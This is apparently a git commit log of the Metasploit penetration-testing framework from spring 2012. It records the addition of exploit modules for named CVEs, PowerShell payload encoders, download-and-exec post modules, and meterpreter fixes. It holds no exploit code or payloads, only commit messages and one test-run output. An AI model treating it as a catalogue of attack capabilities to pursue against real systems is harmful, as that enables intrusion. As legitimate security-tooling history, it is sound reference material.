sinn3r f988622369 Merge pull request #413 from jlee-r7/bug/6893-sniffer-linktype
Default to ethernet if the server doesn't specify
2012-05-23 10:18:11 -07:00
James Lee dc08bc337b Default to ethernet if the server doesn't specify
Still need to recompile sniffer, but this will fix the immediate problem
of stack traces and failing to save the pcap.
2012-05-23 10:06:30 -06:00
sinn3r 0b7b71e240 Correct run-on sentence 2012-05-23 10:27:23 -05:00
sinn3r 94f114b69a Fix typos 2012-05-23 10:22:52 -05:00
sinn3r 7a4f1a111b Merge branch 'cve-2008-0320_openoffice_bof' of https://github.com/jvazquez-r7/metasploit-framework into jvazquez-r7-cve-2008-0320_openoffice_bof 2012-05-23 10:20:16 -05:00
jvazquez-r7 287d68f304 added module for CVE-2008-0320 2012-05-23 17:14:11 +02:00
sinn3r bf0f5a7e5a Merge pull request #410 from jjarmoc/ZDI-12-052-ref
Added reference to vendor advisory
2012-05-22 13:23:35 -07:00
Tod Beardsley a37e98f159 Updating release from master. 2012-05-22 14:12:08 -05:00
James Lee e97994fdde Make sure matches is set
Fixes a nil issue introduced by 17943c7
2012-05-22 12:49:54 -06:00
Jeff Jarmoc c4b64a51f7 Added reference to vendor advisory 2012-05-22 13:22:26 -05:00
James Lee 0c1d736fbc Hrm, out-of-order commits
Looks like my cherry-pick'ing fu hosed the previous commits and somehow
left two copies of dump_references.
2012-05-22 10:44:16 -06:00
James Lee 3bd0276ab3 Add references to info output for post modules
[Fixes #6902] [Closes #409]

Squashed commit of the following:

commit e29bf83196e39853d12b58d77db1ffdb26fbb6eb
Author: James Lee <egypt@metasploit.com>
Date:   Tue May 22 10:01:12 2012 -0600

    Add references to info output for post modules

commit e0147f0f05375d812ecfd55f9c2cb4bffabc1887
Author: James Lee <egypt@metasploit.com>
Date:   Tue May 22 10:05:32 2012 -0600

    Put references after description for consistency
2012-05-22 11:25:23 -05:00
Tod Beardsley 87ce3fe2f7 Adding extra ref from jjarmoc 2012-05-22 11:17:57 -05:00
sinn3r c9604d8902 Add an invisible reference 2012-05-22 10:52:54 -05:00
sinn3r d9ab464d4d A very quick update to the title. 2012-05-22 03:11:05 -05:00
sinn3r c9aa057b6d Merge pull request #407 from wchen-r7/osx_voice
OSX Text-to-Speech tool
2012-05-22 01:06:50 -07:00
sinn3r c43ef8b5bc Merge pull request #406 from jvazquez-r7/lmgrd_bof_randomization
randomization when possible for flexnet_lmgrd_bof
2012-05-22 01:04:46 -07:00
sinn3r ca08e225fb Add OSX Text-to-Speech tool 2012-05-22 03:03:30 -05:00
HD Moore 5cc98b7ded Import NSE script output as notes 2012-05-22 01:49:45 -05:00
jvazquez-r7 c823e8099e randomization when possible for flexnet_lmgrd_bof 2012-05-22 08:32:10 +02:00
sinn3r cafe803217 Fix typos 2012-05-21 16:32:33 -05:00
jvazquez-r7 72b1f113ce Added module for ZDI-12-052 2012-05-21 16:32:33 -05:00
David Maloney df85e4f586 Remove trailing comma 2012-05-21 16:28:02 -05:00
David Maloney 0b41d0f77d Fixes an issue where mysql_payload would crash agaisnt
unsupported arch. Due to a bad var name
[Fixes #29957453]
2012-05-21 16:09:08 -05:00
David Maloney 17943c7a48 Makes it so we don't ever use local config files for Net::SSH
Also makes sure that the :config =>false option keeps
Net:SSH from meddling with knowns_hosts too
2012-05-21 16:09:08 -05:00
David Maloney c386e1ce31 Add an option to the schemadump modules to not display output to the
screen
2012-05-21 16:09:07 -05:00
Tod Beardsley 0be83dae06 Replaces a dead link in HACKING 2012-05-21 15:25:30 -05:00
RageLtMan 77f95df1e9 Banner encoding fix when running against dd-wrt on ruby 1.9.3 2012-05-21 14:50:57 -05:00
RageLtMan 125aa43072 PowerShell post module download and exec
This adds sempervictus's PowerShell post module, along with a default
post module one can use for quick testing (for expected results, see
the screencap Gist at https://gist.github.com/6011cb87b01e970deca8

[Closes #403]

Squashed commit of the following:

commit c6b5a6aac1dc8781c67b611289d7710129592e83
Author: Tod Beardsley <todb@metasploit.com>
Date:   Mon May 21 14:43:48 2012 -0500

    Minor tweaks to language

commit ef088e135cd7b0ccb514a3011889154661d5bd09
Merge: 0a05455 1e14211
Author: Tod Beardsley <todb@metasploit.com>
Date:   Mon May 21 14:34:27 2012 -0500

    Merge remote branch 'todb/default-powershell' into Pull403

commit 0a0545558604c53d4648e3314ca8963ff9b225a7
Author: Tod Beardsley <todb@metasploit.com>
Date:   Mon May 21 14:33:33 2012 -0500

    Reverting unrelated telnet fix

    While I'm sure it's great, it needs to be tested.

commit 1e1421102b44a4c60c6eb9b442227075e959d7c6
Author: Tod Beardsley <todb@metasploit.com>
Date:   Mon May 21 14:14:09 2012 -0500

    Adds a default path to a script for exec_powershell.rb

commit 9978787f44896d06744d50febf4344111edcd7b1
Author: Tod Beardsley <todb@metasploit.com>
Date:   Mon May 21 14:06:46 2012 -0500

    Adds a new default powershell script

commit 25b605949f
Author: RageLtMan <rageltman [at] sempervictus>
Date:   Mon May 21 14:15:15 2012 -0400

    Synchronized SVIT version of lib...powershell.rb to github. Adds timeout option, check for script encoding, etc. Added post/windows/manage/powershell folder with script execution module. Other modules which can be placed here would be WinRM meterp exec, PS persistence, etc

commit c4a7fd932f
Merge: 21b31f1 36207eb
Author: RageLtMan <rageltman [at] sempervictus>
Date:   Mon May 21 14:07:26 2012 -0400

    msfvenom formatting merge conflict fix

commit 36207eb21e
Merge: c77eb03 4772c12
Author: RageLtMan <rageltman [at] sempervictus>
Date:   Mon May 21 14:06:07 2012 -0400

    Merge branch 'master' of https://github.com/rapid7/metasploit-framework

commit 21b31f10c5
Merge: 81a7d62 c77eb03
Author: RageLtMan <rageltman [at] sempervictus>
Date:   Fri May 18 12:57:52 2012 -0400

    Merge branch 'master' into powershell

commit c77eb03ca4
Merge: 89d5af7 52183aa
Author: RageLtMan <rageltman [at] sempervictus>
Date:   Fri May 18 12:57:21 2012 -0400

    Merge branch 'master' of https://github.com/rapid7/metasploit-framework

commit 89d5af7ab2
Author: RageLtMan <rageltman [at] sempervictus>
Date:   Fri Mar 2 01:28:02 2012 -0500

    Banner encoding fix when running against dd-wrt on ruby 1.9.3

commit 81a7d62c6d
Author: RageLtMan <rageltman [at] sempervictus>
Date:   Tue Mar 20 20:19:13 2012 -0400

    powershell for msfvenom

commit 672c7bc37e
Merge: 3e86dc4 ed542e2
Author: RageLtMan <rageltman [at] sempervictus>
Date:   Tue Mar 20 20:08:12 2012 -0400

    exe.rb merge cleanup

commit 3e86dc4c40
Author: RageLtMan <rageltman [at] sempervictus>
Date:   Tue Mar 20 20:06:03 2012 -0400

    psh encoder cleanup

commit f619ed477f
Author: RageLtMan <rageltman@sempervictus.com>
Date:   Sun Feb 5 13:35:11 2012 -0500

    method call fix for psh-net encoder

commit 7b035e6da0
Author: RageLtMan <rageltman@sempervictus.com>
Date:   Fri Feb 3 18:53:54 2012 -0500

    PS encoders: .net and architecture dependent native (psh-net, psh)

commit 7a2749bf26
Merge: 32730b9 f89853d
Author: RageLtMan <rageltman@sempervictus.com>
Date:   Fri Feb 3 18:38:03 2012 -0500

    Merge branch 'master' into powershell

commit 32730b96be
Merge: e69fcd1 f6a6963
Author: RageLtMan <rageltman@sempervictus.com>
Date:   Wed Jan 25 10:33:17 2012 -0500

    Merge branch 'master' of https://github.com/rapid7/metasploit-framework into powershell

commit e69fcd1a83
Author: RageLtMan <rageltman@sempervictus.com>
Date:   Wed Jan 25 07:59:38 2012 -0500

    msfvenom psh addition

commit 9a5d8ead7e
Author: RageLtMan <rageltman@sempervictus.com>
Date:   Wed Jan 25 07:29:38 2012 -0500

    Proper author reference

commit 9fd8ac75a8
Author: RageLtMan <rageltman@sempervictus.com>
Date:   Tue Jan 24 19:07:30 2012 -0500

    Fix script handling

commit fa363dfe96
Author: RageLtMan <rageltman@sempervictus.com>
Date:   Tue Jan 24 17:31:09 2012 -0500

    added Msf::Post::Windows::Powershell, reworked post module to use mixin

commit e078d15b54
Author: RageLtMan <rageltman@sempervictus.com>
Date:   Mon Jan 23 13:42:35 2012 -0500

    vprint_good change

commit 355f8bb19a
Author: RageLtMan <rageltman@sempervictus.com>
Date:   Mon Jan 23 12:50:51 2012 -0500

    exec powershell module

commit 5f95094449
Author: RageLtMan <rageltman@sempervictus.com>
Date:   Mon Jan 23 12:45:41 2012 -0500

    powershell encoder support - Redmine Feature #6049
2012-05-21 14:48:16 -05:00
James Lee d273a0e44b Check for the right method name
"stdapi_fs_rm" doesn't exist
2012-05-21 12:42:23 -06:00
Tod Beardsley 4772c1258e Removing hashcollision_dos module due to license violation
The description text is a copy-paste of
http://www.ocert.org/advisories/ocert-2011-003.html , which has a
specific creative commons liscence prohibiting derivative works.

Since I have no idea what else in this module is a license violating,
I'm pulling it completely. I suspect a lot, though -- there are weird
all-caps methods in the module that look like copy-pastes as well.

Next time, please contribute original work, or at least work that is not
encumbered by restrictive licensing.
2012-05-21 11:28:58 -05:00
Tod Beardsley 675dfe4e14 Don't keep the weblogi return codes secret 2012-05-21 11:27:24 -05:00
Tod Beardsley 1104dccde8 Noting rhost/rport, cli.peerhost where appropriate
There's no msftidy check for this, and it's irritating to have to
remember to do this all the time.
2012-05-21 11:19:02 -05:00
Tod Beardsley 7cc905832e Consistent caps on SVG in batik_svg_java exploit
Also, modules should not refer to themselves as "I" or "me." It's
creepy.
2012-05-21 11:14:03 -05:00
Tod Beardsley 5dd866ed4a Fixed print_status to include rhost:rport
Also don't let the failed user:pass be a mystery to the user.
2012-05-21 11:11:34 -05:00
Tod Beardsley eea20e773b Capitalization fixups on hashcollision_dos 2012-05-21 11:06:18 -05:00
Tod Beardsley 1fc7597a56 Msftidy fixes.
Fixed up activecollab_chat, batik_svg_java, and foxit_reader_launch

All whitespace fixes.
2012-05-21 10:59:52 -05:00
Tod Beardsley 37cdd438ab Touching README, mostly to test commits 2012-05-21 09:22:47 -05:00
sinn3r 3f1a72932e Merge pull request #401 from rsmudge/armitage
Armitage 05.21.12
2012-05-20 20:01:12 -07:00
Raphael Mudge c14a3e655e Armitage 05.21.12
This release improves collaboration performance and fixes a few Windows specific issues.
2012-05-20 22:54:25 -04:00
sinn3r 822e109b1f Merge pull request #398 from wchen-r7/foxit_reader_launch
CVE-2009-0837 by bannedit - Foxit Reader 3 Launch Action BoF
2012-05-20 07:58:29 -07:00
sinn3r 38dfd8060e Merge pull request #400 from swtornio/master
add osvdb refs
2012-05-20 07:58:03 -07:00
Steve Tornio ba2787df8a add osvdb ref 2012-05-20 07:13:56 -05:00
Steve Tornio c95a06e247 add osvdb ref 2012-05-20 07:13:31 -05:00
sinn3r 628233d15c Merge pull request #399 from wchen-r7/hp_storageworks
Add HP StorageWorks VSA command execution vulnerability
2012-05-19 14:14:49 -07:00
sinn3r d8c3edd316 Add HP StorageWorks VSA command execution vulnerability 2012-05-19 14:53:45 -05:00
James Lee 3a4a61da80 Add missing require for msf/post/unix
[Fixes #6889]
2012-05-19 11:44:42 -06:00
sinn3r f9bcb95952 Correct EDB references 2012-05-19 02:24:29 -05:00
sinn3r 964a6af423 Add Active Collab chat module PHP injection exploit, by mr_me 2012-05-19 02:06:30 -05:00
Tod Beardsley f6e9ae6569 Merge pull request #397 from rapid7/normalize-memleak
Update MDM from upstream
2012-05-18 15:32:37 -07:00
Aram Verstegen d5d285ae96 Adding aczid's minimal exploit configurator
Note the syntax change, need to chase this down before pushing upstream
and make sure nobody's relying on that.... and grep says everything's
cool.

[Closes #295]

Squashed commit of the following:

commit 33b7438731ae5377c95d3d752d76eca73bad20ef
Merge: 6d3e6dd 7811b0a
Author: Tod Beardsley <todb@metasploit.com>
Date:   Fri May 18 16:55:49 2012 -0500

    Merge branch 'master' into HEAD

commit 6d3e6dd6e2
Author: Aram Verstegen <aram.verstegen@gmail.com>
Date:   Sat Apr 7 22:58:29 2012 +0200

    Automatically configure payloads for wmap-enabled exploits

commit 410008bab7
Author: Aram Verstegen <aram.verstegen@gmail.com>
Date:   Sat Apr 7 22:58:06 2012 +0200

    Exposed exploit_choose_payload as class method Exploit.choose_payload
2012-05-18 17:24:18 -05:00
sinn3r e4f80a1fab Francisco is the the one who found it according to advisory 2012-05-18 17:12:52 -05:00
Tod Beardsley 7811b0a3fd Landing sempervictus's Powershell features
Adding the payload generator, but not the post module -- couldn't get a
satisfactory test out of the module (see the comments on #251).

Please open a new request with the post module and a test scenario, like
a sample script or something to drop into /scripts/powershell.

I like the powershell stuff a lot; I imagine it's a popular set of
tools on high-value targets, like workstations of IT people.

[Closes #251]

Squashed commit of the following:

commit 46475c27a2d0a84b62167a65c9a158dfb7c9e755
Author: Tod Beardsley <todb@metasploit.com>
Date:   Fri May 18 15:23:22 2012 -0500

    Fixing whitespace on msfvenom case list.

commit 7e4c6613004e9b70e0ba4653e9eaa83470429c7e
Merge: 81a7d62 52183aa
Author: Tod Beardsley <todb@metasploit.com>
Date:   Fri May 18 15:06:51 2012 -0500

    Merge branch 'master' into rage-ps

commit 81a7d62c6d
Author: RageLtMan <rageltman [at] sempervictus>
Date:   Tue Mar 20 20:19:13 2012 -0400

    powershell for msfvenom

commit 672c7bc37e
Merge: 3e86dc4 ed542e2
Author: RageLtMan <rageltman [at] sempervictus>
Date:   Tue Mar 20 20:08:12 2012 -0400

    exe.rb merge cleanup

commit 3e86dc4c40
Author: RageLtMan <rageltman [at] sempervictus>
Date:   Tue Mar 20 20:06:03 2012 -0400

    psh encoder cleanup

commit f619ed477f
Author: RageLtMan <rageltman@sempervictus.com>
Date:   Sun Feb 5 13:35:11 2012 -0500

    method call fix for psh-net encoder

commit 7b035e6da0
Author: RageLtMan <rageltman@sempervictus.com>
Date:   Fri Feb 3 18:53:54 2012 -0500

    PS encoders: .net and architecture dependent native (psh-net, psh)

commit 7a2749bf26
Merge: 32730b9 f89853d
Author: RageLtMan <rageltman@sempervictus.com>
Date:   Fri Feb 3 18:38:03 2012 -0500

    Merge branch 'master' into powershell

commit 32730b96be
Merge: e69fcd1 f6a6963
Author: RageLtMan <rageltman@sempervictus.com>
Date:   Wed Jan 25 10:33:17 2012 -0500

    Merge branch 'master' of https://github.com/rapid7/metasploit-framework into powershell

commit e69fcd1a83
Author: RageLtMan <rageltman@sempervictus.com>
Date:   Wed Jan 25 07:59:38 2012 -0500

    msfvenom psh addition

commit 9a5d8ead7e
Author: RageLtMan <rageltman@sempervictus.com>
Date:   Wed Jan 25 07:29:38 2012 -0500

    Proper author reference

commit 9fd8ac75a8
Author: RageLtMan <rageltman@sempervictus.com>
Date:   Tue Jan 24 19:07:30 2012 -0500

    Fix script handling

commit fa363dfe96
Author: RageLtMan <rageltman@sempervictus.com>
Date:   Tue Jan 24 17:31:09 2012 -0500

    added Msf::Post::Windows::Powershell, reworked post module to use mixin

commit e078d15b54
Author: RageLtMan <rageltman@sempervictus.com>
Date:   Mon Jan 23 13:42:35 2012 -0500

    vprint_good change

commit 355f8bb19a
Author: RageLtMan <rageltman@sempervictus.com>
Date:   Mon Jan 23 12:50:51 2012 -0500

    exec powershell module

commit 5f95094449
Author: RageLtMan <rageltman@sempervictus.com>
Date:   Mon Jan 23 12:45:41 2012 -0500

    powershell encoder support - Redmine Feature #6049
2012-05-18 16:39:49 -05:00
sinn3r 41aac751e9 Add CVE-2009-0837 by bannedit - Foxit Reader 3 Launch Action Buffer Overflow
This was added last year, but yanked due to some reliability issues.
bannedit gave me the updated version recently, and the issue he was having
appears to be resolved.
There is no good P/P/R to use in XP SP3, so that system isn't supported.
2012-05-18 13:25:51 -05:00
Tod Beardsley 373c174af3 Updates MDM from upstream.
This pulls in a few recent changes to MDM.
2012-05-18 12:04:33 -05:00
James Lee 52183aa249 Unbreak the migrate command
The server is not returning the core_migrate command.  This is a bandaid
to make migrate work again until that gets sorted.
2012-05-18 10:25:29 -06:00
syndrowm fec2ec37f8 Squashed commit of the following:
commit fa9b2841cf
Author: syndrowm <syndrowm@gmail.com>
Date:   Mon Apr 2 17:00:59 2012 -0600

    header files needed to generate solaris and bsd elf executables

commit f03fb2ff97
Author: syndrowm <syndrowm@gmail.com>
Date:   Mon Apr 2 16:59:46 2012 -0600

    add functions to allow generating elf executables for bsd and solaris

[Closes #292]
2012-05-18 10:21:34 -06:00
sinn3r d080a3ecf8 Merge branch 'bea_wl' of https://github.com/jvazquez-r7/metasploit-framework into jvazquez-r7-bea_wl 2012-05-17 18:28:26 -05:00
jvazquez-r7 bedf010676 description modified 2012-05-18 01:23:09 +02:00
jvazquez-r7 e7f5bf132c trying to improve bea weblogic connector bof 2012-05-18 01:13:56 +02:00
James Lee 6ff8c9885d Don't do getpid checks if it's not implemented
Important for java, which has get_processes, but not getpid
2012-05-17 17:01:34 -06:00
James Lee 2197332c3d Add a test for listing processes 2012-05-17 16:51:29 -06:00
sinn3r c0d17734ed Improve run-on sentences. 2012-05-17 15:00:00 -05:00
sinn3r 32a0596a03 Merge branch 'oracle_bea_post_bof' of https://github.com/jvazquez-r7/metasploit-framework into jvazquez-r7-oracle_bea_post_bof 2012-05-17 14:52:10 -05:00
jvazquez-r7 c4ab521d7b better tab indentation 2012-05-17 21:41:31 +02:00
Tod Beardsley c6d91481f7 Updating to skip blank/nil service infos too 2012-05-17 14:15:13 -05:00
Tod Beardsley 4a5064a21e Typo on fingerprintable 2012-05-17 13:58:22 -05:00
Tod Beardsley 2238363e4d Fixes the normalize mem leak in host.rb MDM model
This should not be pushed up though, because we really need to fix in
MDM proper.
2012-05-17 13:50:44 -05:00
sinn3r 0b35ab6a75 If the target isn't support, make sure we warn the user 2012-05-17 12:34:17 -05:00
jvazquez-r7 a21e832336 fingerprinting bea connector with Transfer-Encoding 2012-05-17 19:21:16 +02:00
sinn3r 952ada1742 Fix broken target (variable naming) 2012-05-17 11:37:49 -05:00
sinn3r 2fccf4674f Be explicit on what version we've tested 2012-05-17 11:04:40 -05:00
sinn3r 1b70ba8208 Merge branch 'batik_module' of https://github.com/jvazquez-r7/metasploit-framework into jvazquez-r7-batik_module 2012-05-17 10:55:58 -05:00
jvazquez-r7 0fd3f96720 errata fixed 2012-05-17 17:23:16 +02:00
jvazquez-r7 14d8ba00af Added batik svg java module 2012-05-17 16:48:38 +02:00
HD Moore 99368d27e5 Fix a missing require 2012-05-17 09:37:23 -05:00
jvazquez-r7 9a5e4d6500 Added target BEA Weblogic 8.1 SP4 2012-05-17 11:07:22 +02:00
jvazquez-r7 445bd90afb Added module for CVE-2008-3257 2012-05-17 10:28:18 +02:00
sinn3r a88af1dd36 Merge pull request #391 from rsmudge/armitage
add color to armitage's presentation of the Metasploit console
2012-05-16 21:57:43 -07:00
jlee-r7 fe7928c18d Merge pull request #390 from jlee-r7/consolidate-250-254-375
Consolidate #250, #254, #375
2012-05-16 17:07:33 -07:00
James Lee de22d76a40 Blank fields exist legitimately
The first process in Windows is usually [System Process] which has no
associated path, arch, or user, causing this code to skip all those
columns. Check for nil instead of blank to get around it. Need to
revisit this and make nonsense columns nil instead of an empty-string.
2012-05-16 17:47:31 -06:00
James Lee 5bd374e6e9 Refactor the processlist into its own class
*NOTE* Possible backwards compatibility issue! Changes get_processes
hash key from 'parentpid' to 'ppid'
2012-05-16 17:22:55 -06:00
James Lee aee9c8292c Undo mode change from last commit
>_<
2012-05-16 16:14:56 -06:00
James Lee f60429ea57 Linux binaries for consolidation
This includes ps support, sniffer enhancements and the new loadlib API
changes.

[See #250][See #254][See #375]
2012-05-16 16:13:39 -06:00
James Lee 709f860e8d Undo mode change from previous commit 2012-05-16 16:09:10 -06:00
James Lee 62f6ed97a7 Windows binaries for new loadlib API 2012-05-16 16:07:55 -06:00
Tod Beardsley dd4aaa07fa Fixing CVE reference 2012-05-16 14:34:41 -05:00
Tod Beardsley 336a00bc54 Fixing CVE reference 2012-05-16 14:34:04 -05:00
Tod Beardsley 7a78c99c5e Adding credit to original PoC guy for RuggedCom
Just added and commented. It'd be nice to have a real spot for this kind
of credit, because it comes up a lot and it's hard to parse out in a
machine way who 'wrote' the module and who came up with the exploit.
2012-05-16 13:47:15 -05:00
Raphael Mudge 74e4812946 add color to armitage's presentation of the Metasploit console 2012-05-16 04:23:21 -04:00
sinn3r 0b2a8e0b70 Correct e-mail format 2012-05-16 02:40:39 -05:00
HD Moore 4943b4c694 Bug fix from mubix (ruby 1.8 syntax) 2012-05-15 23:05:22 -05:00
sinn3r b89e77c842 Add Spanish dir path. Thanks Miguel 2012-05-15 19:27:48 -05:00
sinn3r 8428d16db3 Format correction 2012-05-15 19:21:16 -05:00
sinn3r 3cd66402b7 Merge branch 'master' of https://github.com/FireFart/metasploit-framework into FireFart-master 2012-05-15 18:35:48 -05:00
James Lee 42719ab34b Squashed commit of the following:
commit 6a3ad1d887
Author: James Lee <egypt@metasploit.com>
Date:   Wed May 9 16:22:49 2012 -0600

    Add register_command calls for md5 and sha1

commit dbd52c5a1e
Author: James Lee <egypt@metasploit.com>
Date:   Wed May 9 16:22:09 2012 -0600

    Read the file instead of downloading it

commit 55b84ad8e2
Author: James Lee <egypt@metasploit.com>
Date:   Wed May 9 15:27:11 2012 -0600

    Re-compile linux meterp to support the loadlib api

commit d112e84e49
Author: James Lee <egypt@metasploit.com>
Date:   Wed May 9 14:50:25 2012 -0600

    Re-compile java meterp to support the loadlib api

commit c137187b34
Author: James Lee <egypt@metasploit.com>
Date:   Wed May 9 14:44:10 2012 -0600

    Don't try to get interfaces if this session doesn't implement it

commit 88bba1e6c3
Author: James Lee <egypt@metasploit.com>
Date:   Wed May 9 14:38:17 2012 -0600

    Remove debugging load

commit 02954cbf93
Merge: d9ef256 88b35a3
Author: James Lee <egypt@metasploit.com>
Date:   Wed May 9 12:06:53 2012 -0600

    Merge branch 'rapid7' into feature/4905

    Conflicts:
    	data/meterpreter/ext_server_stdapi.php
    	modules/exploits/windows/browser/adobe_flashplayer_flash10o.rb

commit d9ef2569b8
Author: James Lee <egypt@metasploit.com>
Date:   Wed May 2 18:06:06 2012 -0600

    PHP doesn't support rev2self

commit bf13ea0ff2
Author: James Lee <egypt@metasploit.com>
Date:   Tue May 1 18:21:59 2012 -0600

    Add php support for returning new extension commands

commit 7e35f2d671
Author: James Lee <egypt@metasploit.com>
Date:   Tue May 1 16:03:26 2012 -0600

    Reset CVE-2012-0507 back to master

    Purges commits unrelated to this branch.

commit 86a77b3cd0
Author: James Lee <egypt@metasploit.com>
Date:   Tue May 1 15:59:35 2012 -0600

    Revert "Make building the jar for cve-2012-0507 a bit easier"

    This reverts commit 27ef76522a.

    Conflicts:

    	external/source/exploits/CVE-2012-0507/Makefile
    	external/source/exploits/CVE-2012-0507/src/msf/x/PayloadX.java

commit 8c259fb779
Merge: fe2c273 1c03c2b
Author: James Lee <egypt@metasploit.com>
Date:   Tue May 1 15:35:44 2012 -0600

    Merge branch 'rapid7' into feature/4905

    Conflicts:
    	data/meterpreter/ext_server_stdapi.jar
    	data/meterpreter/meterpreter.jar
    	external/source/meterpreter/java/src/meterpreter/com/metasploit/meterpreter/Meterpreter.java
    	modules/auxiliary/server/browser_autopwn.rb

commit fe2c273a6d
Merge: 8caff47 4e955e5
Author: James Lee <egypt@metasploit.com>
Date:   Fri Apr 6 10:19:53 2012 -0600

    Merge branch 'rapid7' into feature/4905

commit 8caff47d97
Author: James Lee <egypt@metasploit.com>
Date:   Thu Apr 5 17:51:18 2012 -0600

    Fix requires to find the test library

commit 51c33574ce
Author: James Lee <egypt@metasploit.com>
Date:   Thu Apr 5 17:48:35 2012 -0600

    Fix a load order problem with solaris post mods

commit 81b658362e
Merge: adad2cf 6ef4257
Author: James Lee <egypt@metasploit.com>
Date:   Thu Apr 5 15:43:19 2012 -0600

    Merge branch 'master' into feature/4905

commit 6ef4257947
Merge: 70ab8c0 5852455
Author: James Lee <egypt@metasploit.com>
Date:   Thu Apr 5 15:16:56 2012 -0600

    Merge branch 'rapid7'

    Conflicts:
    	lib/rex/exploitation/javascriptosdetect.rb

commit adad2cf04c
Author: James Lee <egypt@metasploit.com>
Date:   Thu Mar 29 20:20:21 2012 -0600

    Deal with null data/jar

    Not sure why "" turns into null sometimes, but it was breaking shells;
    this fixes it.

commit 4f8a437b49
Author: James Lee <egypt@metasploit.com>
Date:   Thu Mar 29 18:10:59 2012 -0600

    Prev commit moved these to src/a

commit 27ef76522a
Author: James Lee <egypt@metasploit.com>
Date:   Thu Mar 29 18:08:32 2012 -0600

    Make building the jar for cve-2012-0507 a bit easier

    Mostly stolen from cve-2008-5353

commit db3dbad0a5
Author: James Lee <egypt@metasploit.com>
Date:   Thu Mar 29 14:52:23 2012 -0600

    Fix incorrect option name

commit 776976af31
Author: James Lee <egypt@metasploit.com>
Date:   Wed Mar 28 15:36:20 2012 -0600

    Add bap support to java_rhino

commit a611ab16e0
Author: James Lee <egypt@metasploit.com>
Date:   Wed Mar 28 15:35:16 2012 -0600

    Put next_exploit on the window object so it's always in scope

    Solves some issues with Chrome not running more than one exploit

commit 5114d35de7
Author: James Lee <egypt@metasploit.com>
Date:   Tue Mar 27 14:31:53 2012 -0600

    Pull common stuff up out of the body

commit 748309465a
Author: James Lee <egypt@metasploit.com>
Date:   Tue Mar 27 11:04:03 2012 -0600

    Fix indentation level

commit 954d485e3b
Author: James Lee <egypt@metasploit.com>
Date:   Tue Mar 27 11:02:42 2012 -0600

    Abstract out copy-pasted methods

    Need to do the same thing for OSX, but it's a different implementation.

commit cba8d7c911
Author: James Lee <egypt@metasploit.com>
Date:   Fri Mar 23 18:04:50 2012 -0600

    Linux doesn't implement (drop|steal)_token

commit 1cfda3a7b0
Author: James Lee <egypt@metasploit.com>
Date:   Fri Mar 23 17:57:37 2012 -0600

    Add availability checks for net, sys, ui, and webcam

commit 4bdf39a8bf
Author: James Lee <egypt@metasploit.com>
Date:   Fri Mar 23 16:45:59 2012 -0600

    add requirement checking for fs and core commands

commit 42e35971c9
Author: James Lee <egypt@metasploit.com>
Date:   Wed Mar 21 17:20:59 2012 -0600

    Add a to_octal method that converts e.g. "A" to \0101

commit c3b9415a0a
Author: James Lee <egypt@metasploit.com>
Date:   Wed Mar 21 17:20:07 2012 -0600

    Don't use "echo -n"

    It's not portable

commit b0f3ceccfa
Author: James Lee <egypt@metasploit.com>
Date:   Tue Mar 20 17:01:10 2012 -0600

    Return a list of new commands after core_loadlib, java version

    Thanks mihi for the patch and the awesome responsiveness!

commit d65303e1b6
Author: James Lee <egypt@metasploit.com>
Date:   Tue Mar 20 13:21:06 2012 -0600

    Make sure we have a response before doing stuff with it

commit 721001ead4
Author: James Lee <egypt@metasploit.com>
Date:   Mon Mar 19 21:25:31 2012 -0600

    Add missing rmdir and mkdir protocol commands to PHP

    Now passes all the stdapi tests that it can
    	[*] Session type is meterpreter and platform is php/php
    	[+] should return a user id
    	[+] should return a sysinfo Hash
    	[-] FAILED: should return network interfaces
    	[-] Exception: Rex::Post::Meterpreter::RequestError : stdapi_net_config_get_interfaces: Operation failed: 1
    	[-] FAILED: should have an interface that matches session_host
    	[-] Exception: Rex::Post::Meterpreter::RequestError : stdapi_net_config_get_interfaces: Operation failed: 1
    	[-] FAILED: should return network routes
    	[-] Exception: Rex::Post::Meterpreter::RequestError : stdapi_net_config_get_routes: Operation failed: 1
    	[+] should return the proper directory separator
    	[+] should return the current working directory
    	[+] should list files in the current directory
    	[+] should stat a directory
    	[+] should create and remove a dir
    	[+] should change directories
    	[+] should create and remove files
    	[+] should upload a file
    	[-] Passed: 10; Failed: 3

commit 024e99167a
Author: James Lee <egypt@metasploit.com>
Date:   Mon Mar 19 15:26:00 2012 -0600

    Use a proper TLV type instead of a generic one

commit 1836d915cb
Author: James Lee <egypt@metasploit.com>
Date:   Mon Mar 19 15:24:25 2012 -0600

    Fix a counting error that caused segfaults (Linux)

commit 1e419d3fc3
Author: James Lee <egypt@metasploit.com>
Date:   Mon Mar 19 15:06:02 2012 -0600

    Return a list of new commands after core_loadlib

    Gets Windows back in sync with Linux

commit 3d3959f720
Author: James Lee <egypt@metasploit.com>
Date:   Mon Mar 19 14:50:55 2012 -0600

    Refactor extensionList -> extension_commands

    It's not the same as extension_list.

commit a7acb638af
Author: sinn3r <msfsinn3r@gmail.com>
Date:   Sun Mar 18 00:07:27 2012 -0500

    Massive whitespace cleanup

commit ef8b9fd5ce
Author: sinn3r <msfsinn3r@gmail.com>
Date:   Sat Mar 17 16:00:20 2012 -0500

    Add back enum_protections with some new changes

commit d778eec369
Author: ohdae <bindshell@live.com>
Date:   Sat Mar 17 13:28:31 2012 -0400

    Added fix for enum_protections

commit 64611819d4
Author: sinn3r <msfsinn3r@gmail.com>
Date:   Sat Mar 17 03:14:26 2012 -0500

    A bunch of fixes

commit bb1a0205d7
Author: sinn3r <msfsinn3r@gmail.com>
Date:   Sat Mar 17 00:28:05 2012 -0500

    The comments in get_chatlogs need an update

commit 666477e42a
Author: sinn3r <msfsinn3r@gmail.com>
Date:   Sat Mar 17 00:25:41 2012 -0500

    Correct license format

commit 3c8eecbcd7
Author: sinn3r <msfsinn3r@gmail.com>
Date:   Sat Mar 17 00:22:03 2012 -0500

    Add enum_adium.rb post module

commit d290cf4fef
Author: ohdae <bindshell@live.com>
Date:   Fri Mar 16 16:54:36 2012 -0300

    Changed store_note to store_loot. Fixed local/remote file retrieval

commit ccb830b594
Author: James Lee <egypt@metasploit.com>
Date:   Fri Mar 16 11:29:07 2012 -0600

    Fall back to MIB method if we can't get netmasks

    Misses IPv6 addresses, but at least doesn't break everything.

    [Fixes #6525]

commit a9a30232dd
Author: sinn3r <msfsinn3r@gmail.com>
Date:   Fri Mar 16 11:49:31 2012 -0500

    This module is not ready, yanked.

commit 6bb34f7fd0
Author: Gregory Man <man.gregory@gmail.com>
Date:   Fri Mar 16 18:09:08 2012 +0200

    sockso_traversal 1.8 compatibility fix

commit e76965ce56
Author: ohdae <bindshell@live.com>
